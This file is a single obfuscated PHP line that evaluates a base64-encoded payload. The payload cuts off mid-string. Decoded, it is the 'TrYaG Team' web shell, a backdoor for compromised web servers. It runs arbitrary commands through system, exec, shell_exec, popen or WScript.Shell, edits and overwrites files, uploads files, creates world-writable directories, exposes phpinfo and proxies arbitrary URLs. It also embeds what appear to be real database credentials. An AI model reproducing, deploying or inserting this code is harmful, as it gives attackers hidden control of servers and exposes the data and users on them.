eval(base64_decode('DQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KLyogIHRyeWFnLnBocCAtIHdXdy50cnlhZy5jT20NCi8qICDj5NnjySDH4d/H09Egx+HQ5cjtOiBodHRwOi8vd1d3LnRyeWFnLmNPbQ0KLyogIGJ5OiAxLjAgKDAzLjEwLjIwMDYpDQovKn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn4qLw0KLyogIMrjINrj4SDH4d7d4SDj5CDeyOEgYWJkdWxhYWggx+HS2u3jDQovKg0KLyogIGJ5IHRyeWFnQHRyeWFnLmNvbSDH4dTf0SDj5tXm4SDH4ewgx+Hj5cfM0SDm4cPa2MfG7SDH4cfQ5CDIx+HH1sfd5SDa4e3lICYg5uHa0MfI7SDb7dEg4ePTx9rPyuUNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQovKiB+fn4gx+HO7cfRx8ogfCDH4c7tx9HHyiAgfn5+ICovDQoNCi8vIOHK1Nvt4SDj7dLJIMfh0d7jIMfh09HtIMfmIMra2O3h5SB8IEF1dGhlbnRpZmljYXRpb24NCi8vICRhdXRoID0gMTsgLSDH4dHe4yDmx83PIOHK1Nvt4SDH4dHe4yDH4dPR7SAgKCBhdXRoZW50aWZpY2F0aW9uID0gT24gICkNCi8vICRhdXRoID0gMTsgLSDH4dHe4yDV3dEg4cra2O3hIMfh0d7jIMfh09HtICggYXV0aGVudGlmaWNhdGlvbiA9IE9mZiApDQokYXV0aCA9IDA7DQoNCi8vICAoTG9naW4gJiBQYXNzd29yZCBmb3IgYWNjZXNzKQ0KLy8gISEhIChDSEFOR0UgVEhJUyEhISkNCi8vICBtZDUsIMfhyMfT5tHPIObH4e3m0tEg7crjIMrU3e3R5eMgyNzcICd0cnlhZycNCi8vIExvZ2luICYgcGFzc3dvcmQgY3J5cHRlZCB3aXRoIG1kNSwgZGVmYXVsdCBpcyAndHJ5YWcnDQokbmFtZT0nN2M3ZjBmNWYwZjllNzc0ZWM0MzdlMTA3N2U2Yzg0YTcnOyAvLyDH4e3m0tEgx+Hj1N3RICAodXNlciBsb2dpbikNCiRwYXNzPSc3YzdmMGY1ZjBmOWU3NzRlYzQzN2UxMDc3ZTZjODRhNyc7IC8vIMfhyMfT5tHPIMfh49Td0SAodXNlciBwYXNzd29yZCkNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09Iubt5CDRx+3NIO3H4dDtyL+/IicpOw0KICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7DQogICBleGl0KCI8Yj48YSBocmVmPWh0dHA6Ly93V3cudHJ5YWcuY09tPnRyeWFnLXRlYW08L2E+IDogx+HPzubhIOHcIObN5tQgytHtx94g3d7YIDopPC9iPiIpOw0KICAgfQ0KfQ0KPz4NCg0KDQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPiogIFRyWWFHIFRlYW0gICogPC90aXRsZT4NCjxib2R5IGJnY29sb3I9IiMwMDAwMDAiPg0KPHRhYmxlIFdpZHRoPScxMDAlJyBoZWlnaHQ9JzEwJScgYmdjb2xvcj0nI0FBMDAwMCcgYm9yZGVyPScxJz4NCjx0cj4NCjx0ZD48Y2VudGVyPjxmb250IHNpemU9JzYnIGNvbG9yPScjQkJCNTE2Jz4gdFJ5YUcgVGVhTSBfX18gSXNMNG0xQyB+IFc0clIxMFI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksIHRkIHsNCglmb250LWZhbWlseTogIlRhaG9tYSI7DQoJZm9udC1zaXplOiAiMTJweCI7DQoJbGluZS1oZWlnaHQ6ICIxNTAlIjsNCn0NCi5zbWxmb250IHsNCglmb250LWZhbWlseTogIlRhaG9tYSI7DQoJZm9udC1zaXplOiAiMTFweCI7DQp9DQouSU5QVVQgew0KCUZPTlQtU0laRTogIjEycHgiOw0KCUNPTE9SOiAiIzAwMDAwMCI7DQoJQkFDS0dST1VORC1DT0xPUjogIiNGRkZGRkYiOw0KCWhlaWdodDogIjE4cHgiOw0KCWJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjYgbm9uZTsNCglwYWRkaW5nLWxlZnQ6ICIycHgiDQp9DQoucmVkZm9udCB7DQoJQ09MT1I6ICIjQTYwMDAwIjsNCn0NCmE6bGluaywgYTp2aXNpdGVkLCBhOmFjdGl2ZSB7DQoJY29sb3I6ICIjRkYwMDAwIjsNCgl0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsNCn0NCmE6aG92ZXIgew0KCWNvbG9yOiAiI0ZGRkZGRiI7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KLnRvcCB7QkFDS0dST1VORC1DT0xPUjogIiNBQTAwMDAifQ0KLmZpcnN0YWx0IHtCQUNLR1JPVU5ELUNPTE9SOiAiIzAwMDAwMCJ9DQouc2Vjb25kYWx0IHtCQUNLR1JPVU5ELUNPTE9SOiAiIzAwMDAwMCJ9DQo8L3N0eWxlPg0KPFNDUklQVCBsYW5ndWFnZT1KYXZhU2NyaXB0Pg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvciAodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgew0KCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpDQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQogICAgfQ0KfQ0KZnVuY3Rpb24gcmVhbGx5KGQsZixtLHQpIHsNCglpZiAoY29uZmlybShtKSkgew0KCQlpZiAodCA9PSAxKSB7DQoJCQl3aW5kb3cubG9jYXRpb24uaHJlZj0nP2Rpcj0nK2QrJyZkZWxkaXI9JytmOw0KCQl9IGVsc2Ugew0KCQkJd2luZG93LmxvY2F0aW9uLmhyZWY9Jz9kaXI9JytkKycmZGVsZmlsZT0nK2Y7DQoJCX0NCgl9DQp9DQo8L1NDUklQVD4NCjwvaGVhZD4NCg0KPGJvZHk+DQo8Y2VudGVyPg0KDQo8aHIgd2lkdGg9Ijc3NSIgbm9zaGFkZT4NCjx0YWJsZSB3aWR0aD0iNzc1IiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCjw/UEhQDQoNCg0KDQplcnJvcl9yZXBvcnRpbmcoNyk7DQpvYl9zdGFydCgpOw0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQokb25vZmYgPSAoZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpID8gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpIDogZ2V0X2NmZ192YXIoJ3JlZ2lzdGVyX2dsb2JhbHMnKTsNCmlmICgkb25vZmYgIT0gMSkgew0KCUBleHRyYWN0KCRfUE9TVCwgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkX0dFVCwgRVhUUl9TS0lQKTsNCn0NCiRtb2hhamVyID0gIGdldGN3ZCgpOw0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vDQokbXlzcWxfdXNlID0gIm5vIjsgLy8ieWVzIiAgIC8vDQokbWhvc3QgPSAibG9jYWxob3N0IjsgICAgICAgIC8vDQokbXVzZXIgPSAibWphbG5ldF9tamFsIjsgICAgICAgLy8NCiRtcGFzcyA9ICI5OTA4MDgwNiI7ICAgICAgICAgICAgICAgLy8NCiRtZGIgPSAibWphbG5ldF92YiI7ICAgICAgICAgLy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KDQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KICAgICRfR0VUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfR0VUKTsNCgkkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsNCn0NCg0KDQoNCmlmIChlbXB0eSgkX1BPU1RbJ3BocGluZm8nXSApKSB7DQoJfWVsc2V7DQoJZWNobyAkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IHBocGluZm8oKSA6ICJwaHBpbmZvKCkiOw0KCWV4aXQ7DQp9DQoNCg0KaWYgKGlzc2V0KCRfUE9TVFsndXJsJ10pKSB7DQoJJHByb3h5Y29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWyd1cmwnXSk7DQoJZWNobyAoJHByb3h5Y29udGVudHMpID8gJHByb3h5Y29udGVudHMgOiAiPGJvZHkgYmdjb2xvcj1cIiNGNUY1RjVcIiBzdHlsZT1cImZvbnQtc2l6ZTogMTJweDtcIj48Y2VudGVyPjxicj48cD48Yj678cihIFVSTCDE2sjdyqew3DwvYj48L3A+PC9jZW50ZXI+PC9ib2R5PiI7DQoJZXhpdDsNCn0NCg0KaWYgIChlbXB0eSgkX1BPU1RbJ1RyWWFHJ10gKSApIHsNCgl9RUxTRXsNCgkkYWN0aW9uID0gJz9hY3Rpb249VHJZYUcnOw0KCWVjaG8gIjx0YWJsZSBXaWR0aD0nMTAwJScgaGVpZ2h0PScxMCUnIGJnY29sb3I9JyMwMDAwMDAnIGJvcmRlcj0nMSc+PHRyPjx0ZD48Y2VudGVyPjxmb250IHNpemU9JzYnIGNvbG9yPScjQkJCNTE2Jz4NCsfh38fT0SDH4dDlyO08YnI+PGJyPg0KMDIwIDxicj48YnI+DQrH4ePlx8zRMjIgPGJyPjxicj4NCsfI5uPt4cfdIDxicj48YnI+DQra0MfI7SDb7dEgPGJyPjxicj4NCmNSaU1pTmFMIE5lVCA8YnI+PGJyPg0KTVIuV09MRiA8YnI+PGJyPg0K2sjPx+Hh5TAwIDxicj48YnI+DQrjzePmzyDa4e0gIDxicj48YnI+DQrex+XRIMfh7eXmzyA8YnI+PGJyPg0KYWwzaXpuZXQgPGJyPjxicj4NCsfh5s3UIMfh38fT0Txicj48YnI+DQrM4+3aIMfhzd7m3iDjzd3m2ckgPGJyPjxicj4NCuPk2ePJIMfh38fT0SDH4dDlyO0gJiAgytHtx94gx+Ha0cggIDxicj48YnI+DQpXV1cuVHJZYUcuQ29NL3ZiIDxicj48YnI+DQrt0+PNIMjH4eTe4SDI0yDH0czmINrP4yDH0sfh5SAgzd7m3iDH4d3RIO3eIDxicj48YnI+IjsNCiAgDQoNCiAgICBlY2hvICI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+ICI7DQoNCglleGl0Ow0KCX0NCmlmICAoZW1wdHkoJF9QT1NUWydjb21tYW5kJ10gKSApIHsNCgl9RUxTRXsNCglpZiAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicpIHsNCgkJJHByb2dyYW0gPSBpc3NldCgkX1BPU1RbJ3Byb2dyYW0nXSkgPyAkX1BPU1RbJ3Byb2dyYW0nXSA6ICJjOlx3aW5udFxzeXN0ZW0zMlxjbWQuZXhlIjsNCgkJJHByb2cgPSBpc3NldCgkX1BPU1RbJ3Byb2cnXSkgPyAkX1BPU1RbJ3Byb2cnXSA6ICIvYyBuZXQgc3RhcnQgPiAiLiRwYXRobmFtZS4iL2xvZy50eHQiOw0KDQoJCWVjaG8gIjwvZm9ybT5cbiI7DQoJfQ0KJHRiID0gbmV3IEZPUk1TOw0KDQokdGItPnRhYmxlaGVhZGVyKCk7DQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPjxiPicuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLic8L2I+PC90ZD48dGQ+PGI+Jy4kbW9oYWplci4nPC9iPjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+PGI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9iPjwvdGQ+PC90cj48L3RhYmxlPicsJ2NlbnRlcicsJ3RvcCcpOw0KJHRiLT50ZGJvZHkoIjxGT1JNIG1ldGhvZD0nUE9TVCcgYWN0aW9uPSckUkVRVUVTVF9VUkknIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPjxJTlBVVCB0eXBlPSdzdWJtaXQnIG5hbWU9J1JpZnJpc2gnIHZhbHVlPScgIGRpciAgJyAgaWQ9aW5wdXQ+PElOUFVUIHR5cGU9J3N1Ym1pdCduYW1lPSdUcllhRycgdmFsdWU9J1RyWWFHIFRlYW0nICBpZD1pbnB1dD48SU5QVVQgdHlwZT0nc3VibWl0JyBuYW1lPSdwaHBpbmZvJyB2YWx1ZT0nUEhQaW5mbycgaWQ9aW5wdXQ+PElOUFVUIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc2hlbGwnIHZhbHVlPSdjb21tYW5kIHNoaWxsJyBpZD1pbnB1dD48L2Zvcm0+Iik7DQokdGItPnRhYmxlZm9vdGVyKCk7DQokdGItPnRhYmxlaGVhZGVyKCk7DQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPjxiPmNvbW1hbmQgWyBzeXN0ZW0gLCBzaGVsbF9leGVjICwgcGFzc3RocnUgLCBXc2NyaXB0LlNoZWxsICwgZXhlYyAsIHBvcGVuIF08L2I+PC90ZD48L3RyPjwvdGFibGU+JywnY2VudGVyJywndG9wJyk7DQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPicpOw0KDQokZXhlY2Z1bmNzID0gKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nKSA/IGFycmF5KCdzeXN0ZW0nPT4nc3lzdGVtJywncGFzc3RocnUnPT4ncGFzc3RocnUnLCdleGVjJz0+J2V4ZWMnLCdzaGVsbF9leGVjJz0+J3NoZWxsX2V4ZWMnLCdwb3Blbic9Pidwb3BlbicsJ3dzY3JpcHQnPT4nV3NjcmlwdC5TaGVsbCcpIDogYXJyYXkoJ3N5c3RlbSc9PidzeXN0ZW0nLCdwYXNzdGhydSc9PidwYXNzdGhydScsJ2V4ZWMnPT4nZXhlYycsJ3NoZWxsX2V4ZWMnPT4nc2hlbGxfZXhlYycsJ3BvcGVuJz0+J3BvcGVuJyk7DQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9UkVEPmNtZDo8L0ZPTlQ+Jy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNzLCdzZWxlY3RlZCc9PiRleGVjZnVuYykpLicgJy4kdGItPm1ha2VpbnB1dCgnY29tbWFuZCcpLicgJy4kdGItPm1ha2VpbnB1dCgnUnVuJywnY29tbWFuZCcsJycsJ3N1Ym1pdCcpKSk7DQoNCgllY2hvIjx0ciBjbGFzcz0nc2Vjb25kYWx0Jz48dGQgYWxpZ249J2NlbnRlcic+PHRleHRhcmVhIG5hbWU9J3RleHRhcmVhJyBjb2xzPScxMDAnIHJvd3M9JzI1JyByZWFkb25seT4iOw0KDQogICAgICAgIGlmICAoJF9QT1NUWydjb21tYW5kJ10gKSAgew0KDQoJCWlmICgkZXhlY2Z1bmM9PSJzeXN0ZW0iKSB7DQoJCQlzeXN0ZW0oJF9QT1NUWydjb21tYW5kJ10pOw0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0icGFzc3RocnUiKSB7DQoJCQlwYXNzdGhydSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJleGVjIikgew0KCQkJJHJlc3VsdCA9IGV4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KCQkJZWNobyAkcmVzdWx0Ow0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ic2hlbGxfZXhlYyIpIHsNCgkJCSRyZXN1bHQ9c2hlbGxfZXhlYygkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCQllY2hvICRyZXN1bHQ7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJwb3BlbiIpIHsNCgkJCSRwcCA9IHBvcGVuKCRfUE9TVFsnY29tbWFuZCddLCAncicpOw0KCQkJJHJlYWQgPSBmcmVhZCgkcHAsIDIwOTYpOw0KCQkJZWNobyAkcmVhZDsNCgkJCXBjbG9zZSgkcHApOw0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0id3NjcmlwdCIpIHsNCgkJCSR3c2ggPSBuZXcgQ09NKCdXJy4nU2NyJy4naXAnLid0LnNoZScuJ2xsJykgb3IgZGllKCJQSFAgQ3JlYXRlIENPTSBXU0hTSEVMTCBmYWlsZWQiKTsNCgkJCSRleGVjID0gJHdzaC0+ZXhlYyAoImNtIi4iZC5lIi4ieGUgL2MgIi4kX1BPU1RbJ2NvbW1hbmQnXS4iIik7DQoJCQkkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOw0KCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsNCgkJCWVjaG8gJHN0cm91dHB1dDsNCgkJfSBlbHNlIHsNCgkJCXN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCX0NCg0KCX0NCg0KZWNobyI8L3RleHRhcmVhPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4iOw0KCQlleGl0Ow0KfS8vZW5kIHNoZWxsDQoNCmlmICgkX1BPU1RbJ2VkaXRmaWxlJ10pew0KJGZwID0gZm9wZW4oJF9QT1NUWydlZGl0ZmlsZSddLCAiciIpOw0KJGZpbGVhcnIgPSBmaWxlKCRfUE9TVFsnZWRpdGZpbGUnXSk7DQoNCmZvcmVhY2ggKCRmaWxlYXJyIGFzICRzdHJpbmcpew0KDQokY29udGVudCA9ICRjb250ZW50IC4gJHN0cmluZzsNCn0NCg0KZWNobyAiPGNlbnRlcj48ZGl2IGlkPWxvZ29zdHJpcD5FZGl0IGZpbGU6ICRlZGl0ZmlsZSA8L2Rpdj48Zm9ybSBhY3Rpb249JyRSRVFVRVNUX1VSSScgbWV0aG9kPSdQT1NUJz48dGV4dGFyZWEgbmFtZT1jb250ZW50IGNvbHM9MTIyIHJvd3M9MjA+IjtlY2hvIGh0bWxlbnRpdGllcygkY29udGVudCk7IGVjaG8iPC90ZXh0YXJlYT4iOw0KZWNobyI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkaXInIHZhbHVlPSciIC4gZ2V0Y3dkKCkgLiInPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc2F2ZWZpbGUnIHZhbHVlPSd7JF9QT1NUWydlZGl0ZmlsZSddfSc+PGJyPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nU2F2ZSc+PC9mb3JtPjwvY2VudGVyPiI7DQoNCmZjbG9zZSgkZnApOw0KfQ0KDQoNCmlmKCRfUE9TVFsnc2F2ZWZpbGUnXSl7DQoNCiRmcCA9IGZvcGVuKCRfUE9TVFsnc2F2ZWZpbGUnXSwgInciKTsNCiRjb250ZW50ID0gc3RyaXBzbGFzaGVzKCRjb250ZW50KTsNCmZ3cml0ZSgkZnAsICRjb250ZW50KTsNCmZjbG9zZSgkZnApOw0KZWNobyAiPGNlbnRlcj48ZGl2IGlkPWxvZ29zdHJpcD5TdWNjZXNzZnVsbHkgc2F2ZWQhPC9kaXY+PC9jZW50ZXI+IjsNCg0KfQ0KaWYgKCRkb3VwZmlsZSkgew0KCWVjaG8gKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwiIi4kdXBsb2FkZGlyLiIvIi4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXS4iIikpID8gIsnPtKuzybmmISIgOiAiyc+0q8qnsNwhIjsNCn0NCg0KDQplbHNlaWYgKCgkY3JlYXRlZGlyZWN0b3J5KSBBTkQgIWVtcHR5KCRfUE9TVFsnbmV3ZGlyZWN0b3J5J10pKSB7DQoJaWYgKCFlbXB0eSgkbmV3ZGlyZWN0b3J5KSkgew0KCQkkbWtkaXJzPSIkZGlyLyRuZXdkaXJlY3RvcnkiOw0KCQlpZiAoZmlsZV9leGlzdHMoIiRta2RpcnMiKSkgew0KCQkJZWNobyAiY2FuJ3QgbWFrZSBkaXIiOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAoQG1rZGlyKCIkbWtkaXJzIiwwNzc3KSkgPyAib2siIDogIiI7DQoJCQlAY2htb2QoIiRta2RpcnMiLDA3NzcpOw0KCQl9DQoJfQ0KfQ0KDQovLy8vLy8vLy8NCiRwYXRobmFtZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKF9fRklMRV9fKSk7DQoNCi8vLy8vLy8vDQppZiAoIWlzc2V0KCRkaXIpIG9yIGVtcHR5KCRkaXIpKSB7DQoJJGRpciA9ICIuIjsNCgkkbm93cGF0aCA9IGdldFBhdGgoJHBhdGhuYW1lLCAkZGlyKTsNCn0gZWxzZSB7DQoJJGRpcj0kX3Bvc3RbJ2RpciddOw0KCSRub3dwYXRoID0gZ2V0UGF0aCgkcGF0aG5hbWUsICRkaXIpOw0KfQ0KDQovLy8vLy8vDQokZGlyX3dyaXRlYWJsZSA9IChkaXJfd3JpdGVhYmxlKCRub3dwYXRoKSkgPyAibSIgOiAibW0iOw0KJHBocGluZm89KCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAiIHwgPGEgaHJlZj1cIj9hY3Rpb249cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPlBIUElORk8oKTwvYT4iIDogIiI7DQokcmVnID0gKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nKSA/ICIgfCA8YSBocmVmPVwiP2FjdGlvbj1yZWdcIm1vaGFqZXIyMjwvYT4iIDogIiI7DQoNCiR0YiA9IG5ldyBGT1JNUzsNCg0KJHRiLT50YWJsZWhlYWRlcigpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD48Yj4nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nPC9iPjwvdGQ+PHRkPjxiPicuJG1vaGFqZXIuJzwvYj48L3RkPjx0ZCBhbGlnbj0icmlnaHQiPjxiPicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzwvYj48L3RkPjwvdHI+PC90YWJsZT4nLCdjZW50ZXInLCd0b3AnKTsNCiR0Yi0+dGRib2R5KCI8Rk9STSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJFJFUVVFU1RfVVJJJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48SU5QVVQgdHlwZT0nc3VibWl0JyBuYW1lPSdSaWZyaXNoJyB2YWx1ZT0nICBkaXIgICcgIGlkPWlucHV0PjxJTlBVVCB0eXBlPSdzdWJtaXQnbmFtZT0nVHJZYUcnIHZhbHVlPSdUcllhRyBUZWFtJyAgaWQ9aW5wdXQ+PElOUFVUIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncGhwaW5mbycgdmFsdWU9J1BIUGluZm8nIGlkPWlucHV0PjxJTlBVVCB0eXBlPSdzdWJtaXQnIG5hbWU9J3NoZWxsJyB2YWx1ZT0nY29tbWFuZCBzaGlsbCcgaWQ9aW5wdXQ+PC9mb3JtPiIpOw0KJHRiLT50YWJsZWZvb3RlcigpOw0KJHRiLT50YWJsZWhlYWRlcigpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD48Yj5FZGl0ZmlsZSBvciBtYWtlICYgVXBsb3VkIGZpbGUgJiBNYWtlIGRpcmVjdG9yeTwvYj48L3RkPjwvdHI+PC90YWJsZT4nLCdjZW50ZXInLCd0b3AnKTsNCiR0Yi0+dGRib2R5KCc8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+Jyk7DQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9UkVEPkZpbGUgdG8gZWRpdCBvciBtYWtlOjwvRk9OVD4nLiR0Yi0+bWFrZWhpZGRlbignZGlyJywgIGdldGN3ZCgpICApLicgJy4kdGItPm1ha2VpbnB1dCgnZWRpdGZpbGUnKS4nICcuJHRiLT5tYWtlaW5wdXQoJ0VkaXQnLCdlZGl0ZmlsZScsJycsJ3N1Ym1pdCcpKSk7DQoNCg0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdhY3Rpb24nPT4nP2Rpcj0nLnVybGVuY29kZSgkZGlyKSwnZW5jdHlwZSc9PidtdWx0aXBhcnQvZm9ybS1kYXRhJywnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1SRUQ+VXBsb3VkIGZpbGU6PC9GT05UPicuJHRiLT5tYWtlaW5wdXQoJ3VwbG9hZGZpbGUnLCcnLCcnLCdmaWxlJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdkb3VwZmlsZScsJ3VwJywnJywnc3VibWl0JykuJHRiLT5tYWtlaW5wdXQoJ3VwbG9hZGRpcicsJGRpciwnJywnaGlkZGVuJykpKTsNCg0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdjb250ZW50Jz0+JzxGT05UIENPTE9SPVJFRD5NYWtlIGRpcmVjdG9yeTo8L0ZPTlQ+ICcuJHRiLT5tYWtlaW5wdXQoJ25ld2RpcmVjdG9yeScpLicgJy4kdGItPm1ha2VpbnB1dCgnY3JlYXRlZGlyZWN0b3J5JywnbmV3ZGlyZWN0b3J5JywnJywnc3VibWl0JykpKTsNCiRleGVjZnVuY3MgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicpID8gYXJyYXkoJ3N5c3RlbSc9PidzeXN0ZW0nLCdwYXNzdGhydSc9PidwYXNzdGhydScsJ2V4ZWMnPT4nZXhlYycsJ3NoZWxsX2V4ZWMnPT4nc2hlbGxfZXhlYycsJ3BvcGVuJz0+J3BvcGVuJywnd3NjcmlwdCc9PidXc2NyaXB0LlNoZWxsJykgOiBhcnJheSgnc3lzdGVtJz0+J3N5c3RlbScsJ3Bhc3N0aHJ1Jz0+J3Bhc3N0aHJ1JywnZXhlYyc9PidleGVjJywnc2hlbGxfZXhlYyc9PidzaGVsbF9leGVjJywncG9wZW4nPT4ncG9wZW4nKTsNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1SRUQ+Y21kOjwvRk9OVD4nLiR0Yi0+bWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY3MsJ3NlbGVjdGVkJz0+JGV4ZWNmdW5jKSkuJyAnLiR0Yi0+bWFrZWlucHV0KCdjb21tYW5kJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdSdW4nLCdjb21tYW5kJywnJywnc3VibWl0JykpKTsNCg0KJHRiLT50ZGJvZHkgKCI8L3RkPjwvdHI+PC90YWJsZT4iKTsNCmlmICghaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSBPUiBlbXB0eSgkX0dFVFsnYWN0aW9uJ10pIE9SICgkX0dFVFsnYWN0aW9uJ10gPT0gImRpciIpKSB7DQoNCg0KCSR0Yi0+dGFibGVoZWFk